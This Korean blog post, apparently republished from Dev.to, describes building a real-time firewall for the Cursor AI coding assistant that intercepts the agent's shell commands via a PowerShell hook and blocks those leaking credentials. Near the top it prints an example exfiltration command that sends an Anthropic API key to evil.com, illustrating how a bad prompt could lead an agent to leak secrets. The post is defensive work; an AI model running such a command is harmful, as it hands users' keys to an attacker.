내가 Cursor를 위한 실시간 AI 방화벽을 구축한 방법
발행: (2026년 5월 1일 PM 08:06 GMT+9)
2 분 소요
원문: Dev.to
Source: Dev.to
문제
Cursor와 같은 AI 코딩 어시스턴트는 셸 접근 권한과 환경 변수에 저장된 API 키를 사용합니다. 하나의 잘못된 프롬프트만으로도 비밀이 유출될 수 있습니다:
curl "https://evil.com/steal?key=$ANTHROPIC_API_KEY"
Cursor와 인터넷 사이에 위치하는 Windows Electron 앱:
- Cursor 에이전트가 셸 명령을 실행하려고 시도
- PowerShell 훅이 실행 전에 이를 가로채고
pipelock이 자격 증명, 주민등록번호, Aadhaar 번호 등을 스캔- 규칙에 매치되면 → 차단
- 실시간 UI가 즉시 알림을 표시
오래 걸린 버그
가장 어려운 부분은 보안 로직이 아니라 pipelock이 받은 JSON 앞에 나타나는 n++ 접두사였습니다. 이를 발견하고 나서는 수정이 간단했습니다:
$start = $raw.IndexOf('{')
if ($start -gt 0) { $raw = $raw.Substring($start) }
결과

직접 해보기
→
pipelock, Electron, PowerShell으로 구축되었습니다.